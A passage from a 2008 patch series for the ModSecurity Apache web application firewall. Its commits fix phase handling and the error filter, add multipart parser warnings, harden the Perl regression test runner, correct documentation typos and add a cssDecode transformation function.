hook_insert_error_filter(request_rec *r) { msr = retrieve_tx_context(r); if (msr == NULL) return; + /* Do not run if we are already running, which may happen + * if we intercept in phase 3. + */ + if (msr->of_is_error == 1) { + if (msr->txcfg->debuglog_level >= 4) { + msr_log(msr, 4, "Hook insert_error_filter: Already processing."); + } + return; + } + /* Do not run if not enabled. */ if (msr->txcfg->is_enabled == 0) { if (msr->txcfg->debuglog_level >= 4) { @@ -1004,7 +1013,6 @@ static void hook_insert_error_filter(request_rec *r) { } } } -#endif #if (!defined(NO_MODSEC_API)) /** @@ -1108,9 +1116,7 @@ static void register_hooks(apr_pool_t *mp) { /* Filter hooks */ ap_hook_insert_filter(hook_insert_filter, NULL, NULL, APR_HOOK_FIRST); -#if 0 ap_hook_insert_error_filter(hook_insert_error_filter, NULL, NULL, APR_HOOK_FIRST); -#endif ap_register_input_filter("MODSECURITY_IN", input_filter, NULL, AP_FTYPE_CONTENT_SET); From 81d98de283ffd0358382eb558d3c3b070304ba89 Mon Sep 17 00:00:00 2001 From: ivanr Date: Thu, 5 Jun 2008 13:52:30 +0000 Subject: [PATCH 049/110] Log strict multipart errors at level 4. --- apache2/msc_multipart.c | 36 +++++++++++++++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/apache2/msc_multipart.c b/apache2/msc_multipart.c index ad990385..7f7f6600 100644 --- a/apache2/msc_multipart.c +++ b/apache2/msc_multipart.c @@ -826,13 +826,47 @@ int multipart_init(modsec_rec *msr, char **error_msg) { int multipart_complete(modsec_rec *msr, char **error_msg) { if (msr->mpd == NULL) return 1; + if (msr->txcfg->debuglog_level >= 4) { + if (msr->mpd->flag_data_before) { + msr_log(msr, 4, "Multipart: Warning: seen data before first boundary."); + } + + if (msr->mpd->flag_data_after) { + msr_log(msr, 4, "Multipart: Warning: seen data after last boundary."); + } + + if (msr->mpd->flag_boundary_quoted) { + msr_log(msr, 4, "Multipart: Warning: boundary was quoted."); + } + + if (msr->mpd->flag_boundary_whitespace) { + msr_log(msr, 4, "Multipart: Warning: boundary whitespace in C-T header."); + } + + if (msr->mpd->flag_header_folding) { + msr_log(msr, 4, "Multipart: Warning: header folding used."); + } + + if (msr->mpd->flag_crlf_line) { + msr_log(msr, 4, "Multipart: Warning: mixed line endings used (CRLF/LF)."); + } + + if (msr->mpd->flag_lf_line) { + msr_log(msr, 4, "Multipart: Warning: incorrect line endings used (LF)."); + } + + if (msr->mpd->flag_missing_semicolon) { + msr_log(msr, 4, "Multipart: Warning: missing semicolon in C-T header."); + } + } + if ((msr->mpd->seen_data != 0)&&(msr->mpd->is_complete == 0)) { if (msr->mpd->boundary_count > 0) { /* Check if we have the final boundary (that we haven't * processed yet) in the buffer. */ if (msr->mpd->buf_contains_line) { - if ( ((MULTIPART_BUF_SIZE - msr->mpd->bufleft) == (4 + strlen(msr->mpd->boundary))) + if ( ((unsigned int)(MULTIPART_BUF_SIZE - msr->mpd->bufleft) == (4 + strlen(msr->mpd->boundary))) && (*(msr->mpd->buf) == '-')&&(*(msr->mpd->buf + 1) == '-') && (strncmp(msr->mpd->buf + 2, msr->mpd->boundary, strlen(msr->mpd->boundary)) == 0) && (*(msr->mpd->buf + 2 + strlen(msr->mpd->boundary)) == '-') From b2119411ddeba287136e50b70d711bed46d7f4ad Mon Sep 17 00:00:00 2001 From: ivanr Date: Thu, 5 Jun 2008 14:00:28 +0000 Subject: [PATCH 050/110] Minor code cleanup. --- apache2/re.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/apache2/re.c b/apache2/re.c index 243f1451..f8ef7189 100644 --- a/apache2/re.c +++ b/apache2/re.c @@ -1616,7 +1616,7 @@ static void msre_perform_disruptive_actions(modsec_rec *msr, msre_rule *rule, } } - /* If "noauditlog" used do not mark the transaction relevant. */ + /* If "noauditlog" was used do not mark the transaction relevant. */ if (actionset->auditlog != 0) { msr->is_relevant++; } @@ -1633,7 +1633,7 @@ static void msre_perform_disruptive_actions(modsec_rec *msr, msre_rule *rule, int log_level = (actionset->log == 0 ? 4 : 2); msc_alert(msr, log_level, actionset, "Warning.", message); - /* However, this will mark the txn relevant again if it is <=3, + /* However, this will mark the txn relevant again if it is <= 3, * which will mess up noauditlog. We need to compensate for this * so that we do not increment twice when auditlog is enabled and * prevent incrementing when auditlog is disabled. @@ -1641,6 +1641,7 @@ static void msre_perform_disruptive_actions(modsec_rec *msr, msre_rule *rule, if (log_level <= 3) { msr->is_relevant--; } + return; } From c3fd0231d0683eb833b260bf878d511469654dfd Mon Sep 17 00:00:00 2001 From: ivanr Date: Thu, 5 Jun 2008 14:52:48 +0000 Subject: [PATCH 051/110] Prevent phases from being processed more than once. --- apache2/apache2_io.c | 3 +++ apache2/mod_security2.c | 14 ++------------ apache2/modsecurity.c | 15 ++++++++++++++- apache2/modsecurity.h | 2 +- 4 files changed, 20 insertions(+), 14 deletions(-) diff --git a/apache2/apache2_io.c b/apache2/apache2_io.c index f4df75ed..94503327 100644 --- a/apache2/apache2_io.c +++ b/apache2/apache2_io.c @@ -510,10 +510,13 @@ apr_status_t output_filter(ap_filter_t *f, apr_bucket_brigade *bb_in) { ap_remove_output_filter(f); return send_error_bucket(msr, f, HTTP_INTERNAL_SERVER_ERROR); } + if (rc > 0) { /* transaction needs to be interrupted */ int status = perform_interception(msr); if (status != DECLINED) { /* DECLINED means we allow-ed the request. */ ap_remove_output_filter(f); + msr->of_status = OF_STATUS_COMPLETE; + msr->of_status = RESBODY_STATUS_ERROR; return send_error_bucket(msr, f, status); } } diff --git a/apache2/mod_security2.c b/apache2/mod_security2.c index c94f03e9..903884c3 100644 --- a/apache2/mod_security2.c +++ b/apache2/mod_security2.c @@ -919,7 +919,8 @@ static void hook_insert_filter(request_rec *r) { /* Add the input filter, but only if we need it to run. */ if (msr->if_status == IF_STATUS_WANTS_TO_RUN) { if (msr->txcfg->debuglog_level >= 4) { - msr_log(msr, 4, "Hook insert_filter: Adding input forwarding filter %s(r %pp).", (((r->main != NULL)||(r->prev != NULL)) ? "for subrequest " : ""), r); + msr_log(msr, 4, "Hook insert_filter: Adding input forwarding filter %s(r %pp).", + (((r->main != NULL)||(r->prev != NULL)) ? "for subrequest " : ""), r); } ap_add_input_filter("MODSECURITY_IN", msr, r, r->connection); @@ -961,7 +962,6 @@ static void hook_insert_filter(request_rec *r) { } } -/* NOTE: This is causing and endless loop when blocking in phase:3 */ /** * Invoked whenever Apache starts processing an error. A chance * to insert ourselves into the output filter chain. @@ -975,16 +975,6 @@ static void hook_insert_error_filter(request_rec *r) { msr = retrieve_tx_context(r); if (msr == NULL) return; - /* Do not run if we are already running, which may happen - * if we intercept in phase 3. - */ - if (msr->of_is_error == 1) { - if (msr->txcfg->debuglog_level >= 4) { - msr_log(msr, 4, "Hook insert_error_filter: Already processing."); - } - return; - } - /* Do not run if not enabled. */ if (msr->txcfg->is_enabled == 0) { if (msr->txcfg->debuglog_level >= 4) { diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index 81abecab..2485e36a 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -494,7 +494,20 @@ static apr_status_t modsecurity_process_phase_logging(modsec_rec *msr) { * need to be explicitly provided since it's already available * in the modsec_rec structure. */ -apr_status_t modsecurity_process_phase(modsec_rec *msr, int phase) { +apr_status_t modsecurity_process_phase(modsec_rec *msr, unsigned int phase) { + /* Check if we've should run. */ + if (msr->was_intercepted) { + msr_log(msr, 4, "Skipping phase %i as request was already intercepted.", phase); + return 0; + } + + /* Do not process the same phase twice. */ + if (msr->phase >= phase) { + msr_log(msr, 4, "Skipping phase %i because it was previously run (at %i now).", + phase, msr->phase); + return 0; + } + msr->phase = phase; switch(phase) { diff --git a/apache2/modsecurity.h b/apache2/modsecurity.h index 343a5364..15fd2866 100644 --- a/apache2/modsecurity.h +++ b/apache2/modsecurity.h @@ -540,7 +540,7 @@ void DSOLOCAL modsecurity_shutdown(msc_engine *msce); apr_status_t DSOLOCAL modsecurity_tx_init(modsec_rec *msr); -apr_status_t DSOLOCAL modsecurity_process_phase(modsec_rec *msr, int phase); +apr_status_t DSOLOCAL modsecurity_process_phase(modsec_rec *msr, unsigned int phase); /* Request body functions */ From e1e200c00528abf0a965390b24eb9a3b5a79f5b1 Mon Sep 17 00:00:00 2001 From: ivanr Date: Thu, 5 Jun 2008 14:57:05 +0000 Subject: [PATCH 052/110] Disabled phase 5 after interception by mistake. Fixed --- apache2/modsecurity.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index 2485e36a..9d1e2d57 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -496,7 +496,7 @@ static apr_status_t modsecurity_process_phase_logging(modsec_rec *msr) { */ apr_status_t modsecurity_process_phase(modsec_rec *msr, unsigned int phase) { /* Check if we've should run. */ - if (msr->was_intercepted) { + if ((msr->was_intercepted)&&(phase != PHASE_LOGGING)) { msr_log(msr, 4, "Skipping phase %i as request was already intercepted.", phase); return 0; } From 493e71a9ecad48086b854424d4fad6b701a3723b Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 5 Jun 2008 16:44:18 +0000 Subject: [PATCH 053/110] Tweak some regression tests. --- apache2/t/regression/misc/00-multipart-parser.t | 13 ++++++++----- apache2/t/run-regression-tests.pl.in | 9 +++++++-- 2 files changed, 15 insertions(+), 7 deletions(-) diff --git a/apache2/t/regression/misc/00-multipart-parser.t b/apache2/t/regression/misc/00-multipart-parser.t index 391813f9..4efc0551 100644 --- a/apache2/t/regression/misc/00-multipart-parser.t +++ b/apache2/t/regression/misc/00-multipart-parser.t @@ -124,7 +124,10 @@ }, { type => "misc", - comment => "multipart parser (boundary contains \"BoUnDaRy\")", + comment => "multipart parser (boundary contains \"bOuNdArY\")", + note => q( + KHTML Boundary + ), conf => qq( SecRuleEngine On SecDebugLog $ENV{DEBUG_LOG} @@ -145,19 +148,19 @@ request => new HTTP::Request( POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", [ - "Content-Type" => "multipart/form-data; boundary=------------------------------------------------BoUnDaRy", + "Content-Type" => "multipart/form-data; boundary=--------0xKhTmLbOuNdArY", ], normalize_raw_request_data( q( - --------------------------------------------------BoUnDaRy + ----------0xKhTmLbOuNdArY Content-Disposition: form-data; name="a" 1 - --------------------------------------------------BoUnDaRy + ----------0xKhTmLbOuNdArY Content-Disposition: form-data; name="b" 2 - --------------------------------------------------BoUnDaRy-- + ----------0xKhTmLbOuNdArY-- ), ), ), diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index a21e265f..e99bb82b 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -351,6 +351,7 @@ sub do_raw_request { # Join togeather the request my $r = join("", @_); + dbg($r); # Write to socket print $sock "$r"; @@ -374,7 +375,11 @@ sub do_request { if (ref $r eq "HTTP::Request") { # dbg("REQUEST: ", $r); - return $UA->request($r); + my $resp = $UA->request($r); + if ($opt{d}) { + dbg($resp->request()->as_string()); + } + return $resp } else { # dbg("REQUEST:\n", $r); @@ -456,7 +461,7 @@ sub dbg { my $out = join "", map { (ref $_ ne "" ? Dumper($_) : $_) } @_; - $out =~ s/^/DBG: /m; + $out =~ s/^/DBG: /mg; print STDOUT "$out\n"; } From d9ba0e98b2b9104b99904573f42d431c78d044c5 Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 5 Jun 2008 16:52:22 +0000 Subject: [PATCH 054/110] Fixed a typo from changeset:1072. See #498. --- apache2/apache2_io.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apache2/apache2_io.c b/apache2/apache2_io.c index 94503327..b2ceda4e 100644 --- a/apache2/apache2_io.c +++ b/apache2/apache2_io.c @@ -516,7 +516,7 @@ apr_status_t output_filter(ap_filter_t *f, apr_bucket_brigade *bb_in) { if (status != DECLINED) { /* DECLINED means we allow-ed the request. */ ap_remove_output_filter(f); msr->of_status = OF_STATUS_COMPLETE; - msr->of_status = RESBODY_STATUS_ERROR; + msr->resbody_status = RESBODY_STATUS_ERROR; return send_error_bucket(msr, f, status); } } From 0b1e2d674aaa86e59233176efd7c1e0d0d2ec429 Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 5 Jun 2008 17:01:42 +0000 Subject: [PATCH 055/110] Fix a minor typo in a comment. --- apache2/modsecurity.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index 9d1e2d57..f3139b16 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -495,7 +495,7 @@ static apr_status_t modsecurity_process_phase_logging(modsec_rec *msr) { * in the modsec_rec structure. */ apr_status_t modsecurity_process_phase(modsec_rec *msr, unsigned int phase) { - /* Check if we've should run. */ + /* Check if we should run. */ if ((msr->was_intercepted)&&(phase != PHASE_LOGGING)) { msr_log(msr, 4, "Skipping phase %i as request was already intercepted.", phase); return 0; From f072738c8274e5258dbbff35ee010e024cccfbb5 Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 5 Jun 2008 17:29:29 +0000 Subject: [PATCH 056/110] Remove an extraneous debug statement and update version date. --- CHANGES | 2 +- doc/modsecurity2-apache-reference.xml | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGES b/CHANGES index a8076f54..95c7dbaa 100644 --- a/CHANGES +++ b/CHANGES @@ -1,4 +1,4 @@ -03 Jun 2008 - trunk +05 Jun 2008 - trunk ------------------- * Fixed an issue where an alert was not logged in the error log diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 0a509250..3ee5c499 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4,7 +4,7 @@ Manual - Version 2.6.0-trunk (June 02, 2008) + Version 2.6.0-trunk (June 5, 2008) 2004-2008 @@ -6110,4 +6110,4 @@ Server: Apache/2.x.x
- \ No newline at end of file + From 21f305095cf0e1f3e6cd70d35c20ecacb96d0c56 Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 5 Jun 2008 18:03:20 +0000 Subject: [PATCH 057/110] Fixed warning for mixed CRLF/LF lines and LF lines in changeset:1070. See #504. --- apache2/msc_multipart.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/apache2/msc_multipart.c b/apache2/msc_multipart.c index 7f7f6600..bcf100f2 100644 --- a/apache2/msc_multipart.c +++ b/apache2/msc_multipart.c @@ -847,11 +847,10 @@ int multipart_complete(modsec_rec *msr, char **error_msg) { msr_log(msr, 4, "Multipart: Warning: header folding used."); } - if (msr->mpd->flag_crlf_line) { + if (msr->mpd->flag_crlf_line && msr->mpd->flag_lf_line) { msr_log(msr, 4, "Multipart: Warning: mixed line endings used (CRLF/LF)."); } - - if (msr->mpd->flag_lf_line) { + else if (msr->mpd->flag_lf_line) { msr_log(msr, 4, "Multipart: Warning: incorrect line endings used (LF)."); } From 326208d02c7b53c224410f9e5e8add51e4a69c06 Mon Sep 17 00:00:00 2001 From: brectanus Date: Mon, 16 Jun 2008 17:20:50 +0000 Subject: [PATCH 058/110] Newer apaches default to text/plain instead of null. Make matching files a bit more robust. --- .../config/10-response-directives.t | 14 +-- apache2/t/regression/misc/00-phases.t | 12 +-- apache2/t/run-regression-tests.pl.in | 85 +++++++++++++------ 3 files changed, 73 insertions(+), 38 deletions(-) diff --git a/apache2/t/regression/config/10-response-directives.t b/apache2/t/regression/config/10-response-directives.t index 99f0a858..60617a29 100644 --- a/apache2/t/regression/config/10-response-directives.t +++ b/apache2/t/regression/config/10-response-directives.t @@ -33,7 +33,7 @@ SecDebugLog $ENV{DEBUG_LOG} SecDebugLogLevel 9 SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecRule RESPONSE_BODY "TEST" "phase:4,deny" ), match_log => { @@ -54,7 +54,7 @@ SecDebugLog $ENV{DEBUG_LOG} SecDebugLogLevel 9 SecResponseBodyAccess Off - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecRule RESPONSE_BODY "TEST" "phase:4,deny" ), match_log => { @@ -76,7 +76,7 @@ conf => qq( SecRuleEngine On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecResponseBodyLimit 8192 ), match_log => { @@ -95,7 +95,7 @@ conf => qq( SecRuleEngine On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecResponseBodyLimit 9000 ), match_log => { @@ -114,7 +114,7 @@ conf => qq( SecRuleEngine On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecResponseBodyLimit 8000 ), match_log => { @@ -135,7 +135,7 @@ conf => qq( SecRuleEngine On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecResponseBodyLimit 5 SecResponseBodyLimitAction Reject ), @@ -155,7 +155,7 @@ conf => qq( SecRuleEngine On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecResponseBodyLimit 5 SecDebugLog $ENV{DEBUG_LOG} SecDebugLogLevel 4 diff --git a/apache2/t/regression/misc/00-phases.t b/apache2/t/regression/misc/00-phases.t index f3c5d1f1..97a40a52 100644 --- a/apache2/t/regression/misc/00-phases.t +++ b/apache2/t/regression/misc/00-phases.t @@ -8,7 +8,7 @@ SecRuleEngine On SecRequestBodyAccess On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecRule REQUEST_LINE "^POST" "phase:1,pass,log,auditlog" SecRule ARGS "val1" "phase:1,pass,log,auditlog" SecRule RESPONSE_HEADERS:Last-Modified "." "phase:1,pass,log,auditlog" @@ -38,7 +38,7 @@ SecRuleEngine On SecRequestBodyAccess On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecRule REQUEST_LINE "^POST" "phase:2,pass,log,auditlog" SecRule ARGS "val1" "phase:2,pass,log,auditlog" SecRule RESPONSE_HEADERS:Last-Modified "." "phase:2,pass,log,auditlog" @@ -68,7 +68,7 @@ SecRuleEngine On SecRequestBodyAccess On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecRule REQUEST_LINE "^POST" "phase:3,pass,log,auditlog" SecRule ARGS "val1" "phase:3,pass,log,auditlog" SecRule RESPONSE_HEADERS:Last-Modified "." "phase:3,pass,log,auditlog" @@ -98,7 +98,9 @@ SecRuleEngine On SecRequestBodyAccess On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null + SecDebugLog "$ENV{DEBUG_LOG}" + SecDebugLogLevel 9 SecRule REQUEST_LINE "^POST" "phase:4,pass,log,auditlog" SecRule ARGS "val1" "phase:4,pass,log,auditlog" SecRule RESPONSE_HEADERS:Last-Modified "." "phase:4,pass,log,auditlog" @@ -127,7 +129,7 @@ SecRuleEngine On SecRequestBodyAccess On SecResponseBodyAccess On - SecResponseBodyMimeType null + SecResponseBodyMimeType text/plain null SecRule REQUEST_LINE "^POST" "phase:5,pass,log,auditlog" SecRule ARGS "val1" "phase:5,pass,log,auditlog" SecRule RESPONSE_HEADERS:Last-Modified "." "phase:5,pass,log,auditlog" diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index e99bb82b..032c5b41 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -416,6 +416,11 @@ sub match_log { msg("Warning: Empty regular expression.") if (!defined $re or $re eq ""); + unless (defined $fh) { + msg("Error: File \"$name\" is not opened for matching."); + return; + } + $timeout = 0 unless (defined $timeout); do { @@ -432,10 +437,16 @@ sub match_log { sub match_file { my($neg,$fn) = ($_[0] =~ m/^(-?)(.*)$/); unless (exists $FILE{$fn}) { - $FILE{$fn}{fn} = $fn; - $FILE{$fn}{fd} = new FileHandle($fn, O_RDONLY); - $FILE{$fn}{fd}->blocking(0); - $FILE{$fn}{buf} = ""; + eval { + $FILE{$fn}{fn} = $fn; + $FILE{$fn}{fd} = new FileHandle($fn, O_RDONLY) or die "$!\n"; + $FILE{$fn}{fd}->blocking(0); + $FILE{$fn}{buf} = ""; + }; + if ($@) { + msg("Warning: Failed to open file \"$fn\": $@"); + return; + } } return match_log($_[0], $_[1]); # timeout makes no sense } @@ -650,38 +661,60 @@ sub httpd_reset_fd { } # Error - $FILE{error}{fn} = $opt{E}; - $FILE{error}{fd} = new FileHandle($opt{E}, O_RDWR|O_CREAT); - $FILE{error}{fd}->blocking(0); - $FILE{error}{fd}->sysseek(0, 2); - $FILE{error}{buf} = ""; + eval { + $FILE{error}{fn} = $opt{E}; + $FILE{error}{fd} = new FileHandle($opt{E}, O_RDWR|O_CREAT) or die "$!\n"; + $FILE{error}{fd}->blocking(0); + $FILE{error}{fd}->sysseek(0, 2); + $FILE{error}{buf} = ""; + }; + if ($@) { + msg("Warning: Failed to open file \"$opt{E}\": $@"); + return undef; + } # Audit - $FILE{audit}{fn} = $opt{A}; - $FILE{audit}{fd} = new FileHandle($opt{A}, O_RDWR|O_CREAT); - $FILE{audit}{fd}->blocking(0); - $FILE{audit}{fd}->sysseek(0, 2); - $FILE{audit}{buf} = ""; + eval { + $FILE{audit}{fn} = $opt{A}; + $FILE{audit}{fd} = new FileHandle($opt{A}, O_RDWR|O_CREAT) or die "$!\n"; + $FILE{audit}{fd}->blocking(0); + $FILE{audit}{fd}->sysseek(0, 2); + $FILE{audit}{buf} = ""; + }; + if ($@) { + msg("Warning: Failed to open file \"$opt{A}\": $@"); + return undef; + } # Debug - $FILE{debug}{fn} = $opt{D}; - $FILE{debug}{fd} = new FileHandle($opt{D}, O_RDWR|O_CREAT); - $FILE{debug}{fd}->blocking(0); - $FILE{debug}{fd}->sysseek(0, 2); - $FILE{debug}{buf} = ""; + eval { + $FILE{debug}{fn} = $opt{D}; + $FILE{debug}{fd} = new FileHandle($opt{D}, O_RDWR|O_CREAT) or die "$!\n"; + $FILE{debug}{fd}->blocking(0); + $FILE{debug}{fd}->sysseek(0, 2); + $FILE{debug}{buf} = ""; + }; + if ($@) { + msg("Warning: Failed to open file \"$opt{D}\": $@"); + return undef; + } # Any extras listed in "match_log" if ($t and exists $t->{match_log}) { for my $k (keys %{ $t->{match_log} || {} }) { my($neg,$fn) = ($k =~ m/^(-?)(.*)$/); next if (!$fn or exists $FILE{$fn}); - #dbg("Opening additional log: $fn"); - $FILE{$fn}{fn} = $fn; - $FILE{$fn}{fd} = new FileHandle($fn, O_RDWR|O_CREAT); - $FILE{$fn}{fd}->blocking(0); - $FILE{$fn}{fd}->sysseek(0, 2); - $FILE{$fn}{buf} = ""; - + eval { + $FILE{$fn}{fn} = $fn; + $FILE{$fn}{fd} = new FileHandle($fn, O_RDWR|O_CREAT) or die "$!\n"; + $FILE{$fn}{fd}->blocking(0); + $FILE{$fn}{fd}->sysseek(0, 2); + $FILE{$fn}{buf} = ""; + }; + if ($@) { + msg("Warning: Failed to open file \"$fn\": $@"); + return undef; + } } } } From 200d9e5fe3d9665f6c8ea2ed524d3510bd40e118 Mon Sep 17 00:00:00 2001 From: brectanus Date: Mon, 16 Jun 2008 22:13:52 +0000 Subject: [PATCH 059/110] Firewalls not fireballs ;) --- doc/modsecurity2-apache-reference.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 3ee5c499..ce99e291 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -6019,7 +6019,7 @@ Server: Apache/2.x.x
Impedance Mismatch - Web application fireballs have a difficult job trying to make + Web application firewalls have a difficult job trying to make sense of data that passes by, without any knowledge of the application and its business logic. The protection they provide comes from having an independent layer of security on the outside. Because data validation is From e6e06bff72a119456baa342e2fa10663e2ab4ddb Mon Sep 17 00:00:00 2001 From: brectanus Date: Mon, 7 Jul 2008 15:47:49 +0000 Subject: [PATCH 060/110] Update trunk CHANGES with 2.5.5 release. --- CHANGES | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/CHANGES b/CHANGES index 95c7dbaa..a6ceaae4 100644 --- a/CHANGES +++ b/CHANGES @@ -1,4 +1,10 @@ -05 Jun 2008 - trunk +07 Jul 2008 - trunk +------------------- + +* Persistent counter updates are now atomic. + + +05 Jun 2008 - 2.5.5 ------------------- * Fixed an issue where an alert was not logged in the error log @@ -17,8 +23,6 @@ * Fixed blocking in phase 3. -* Persistent counter updates are now atomic. - * Force modules "mod_rpaf-2.0.c" and "mod_custom_header.c" to run before ModSecurity so that the correct IP is used. From ae40b8c2136985015d2d99e502e9e5b5345b9379 Mon Sep 17 00:00:00 2001 From: ivanr Date: Wed, 16 Jul 2008 13:08:12 +0000 Subject: [PATCH 061/110] Implemented cssDecode. --- CHANGES | 5 +- apache2/msc_util.c | 68 +++++++++++++++++++++++++++ apache2/msc_util.h | 4 ++ apache2/re_tfns.c | 20 ++++++++ doc/modsecurity2-apache-reference.xml | 23 +++++++-- 5 files changed, 114 insertions(+), 6 deletions(-) diff --git a/CHANGES b/CHANGES index a6ceaae4..f9ce7d87 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,9 @@ -07 Jul 2008 - trunk + +16 Jul 2008 - trunk ------------------- +* Implement cssDecode. + * Persistent counter updates are now atomic. diff --git a/apache2/msc_util.c b/apache2/msc_util.c index 401cf4a3..2006cb89 100644 --- a/apache2/msc_util.c +++ b/apache2/msc_util.c @@ -332,6 +332,17 @@ unsigned char x2c(unsigned char *what) { return digit; } +/** + * Converts a single hexadecimal digit into a decimal value. + */ +unsigned char xsingle2c(unsigned char *what) { + register unsigned char digit; + + digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0')); + + return digit; +} + /** * */ @@ -1191,3 +1202,60 @@ char *resolve_relative_path(apr_pool_t *pool, const char *parent_filename, const strlen(parent_filename) - strlen(apr_filepath_name_get(parent_filename))), filename, NULL); } + +/** + * + * References: + * http://www.w3.org/TR/REC-CSS2/syndata.html#q4 + * http://www.unicode.org/roadmaps/ + */ +int css_decode_inplace(unsigned char *input, long int input_len) { + unsigned char *d = (unsigned char *)input; + long int i, j, count; + + if (input == NULL) return -1; + + i = count = 0; + while (i < input_len) { + if (input[i] == '\\') { + if (i + 1 < input_len) { /* Is there at least one more byte? */ + /* We are not going to need the backslash. */ + i++; + + /* Find out how many hexadecimal characters there are. */ + j = 0; + while ((j < 6)&&(i + j < input_len)&&(VALID_HEX(input[i + j]))) { + j++; + } + + /* Do we have at least one hexadecimal character? */ + if (j > 0) { + if (j == 1) { /* One character. */ + *d++ = xsingle2c(&input[i]); + } else { /* Two or more characters/ */ + /* For now just use the last two bytes. */ + // TODO What do we do if the other bytes are not zeros? + *d++ = x2c(&input[i + j - 2]); + } + + /* Move over. */ + count++; + i += j; + } else { + /* Invalid encoding, but we can't really do anything about it. */ + } + } else { + // TODO What do we do with the trailing backslash? + } + } else { + // TODO Not sure if we should remove the new line character here + // (see the specification for more information). + *d++ = input[i++]; + count++; + } + } + + *d = '\0'; + + return count; +} diff --git a/apache2/msc_util.h b/apache2/msc_util.h index 039b97c1..265bae31 100644 --- a/apache2/msc_util.h +++ b/apache2/msc_util.h @@ -37,6 +37,8 @@ int DSOLOCAL remove_lf_crlf_inplace(char *text); unsigned char DSOLOCAL x2c(unsigned char *what); +unsigned char DSOLOCAL xsingle2c(unsigned char *what); + char DSOLOCAL *guess_tmp_dir(apr_pool_t *p); char DSOLOCAL *current_logtime(apr_pool_t *mp); @@ -82,4 +84,6 @@ int DSOLOCAL is_empty_string(const char *string); char DSOLOCAL *resolve_relative_path(apr_pool_t *pool, const char *parent_filename, const char *filename); +int DSOLOCAL css_decode_inplace(unsigned char *input, long int input_len); + #endif diff --git a/apache2/re_tfns.c b/apache2/re_tfns.c index c4a0a0af..98faa382 100644 --- a/apache2/re_tfns.c +++ b/apache2/re_tfns.c @@ -190,6 +190,20 @@ static int msre_fn_compressWhitespace_execute(apr_pool_t *mptmp, unsigned char * return changed; } +/* cssDecode */ + +static int msre_fn_cssDecode_execute(apr_pool_t *mptmp, unsigned char *input, + long int input_len, char **rval, long int *rval_len) +{ + long int length; + + length = css_decode_inplace(input, input_len); + *rval = (char *)input; + *rval_len = length; + + return (*rval_len == input_len ? 0 : 1); +} + /* removeWhitespace */ static int msre_fn_removeWhitespace_execute(apr_pool_t *mptmp, unsigned char *input, @@ -509,6 +523,12 @@ void msre_engine_register_default_tfns(msre_engine *engine) { msre_fn_compressWhitespace_execute ); + /* cssDecode */ + msre_engine_tfn_register(engine, + "cssDecode", + msre_fn_cssDecode_execute + ); + /* escapeSeqDecode */ msre_engine_tfn_register(engine, "escapeSeqDecode", diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index ce99e291..523ba44e 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4,7 +4,7 @@ Manual - Version 2.6.0-trunk (June 5, 2008) + Version 2.6.0-trunk (July 16, 2008) 2004-2008 @@ -3659,9 +3659,22 @@ SecRule XML:/xq:employees/employee/name/text() Fred \
<literal>compressWhitespace</literal> - This function is enabled by default. It converts whitespace - characters (32, \f, \t, \n, \r, \v, 160) to spaces (ASCII 32) and then - compresses multiple space characters into only one. + It converts whitespace characters (32, \f, \t, \n, \r, \v, 160) to + spaces (ASCII 32) and then compresses multiple space characters into + only one. +
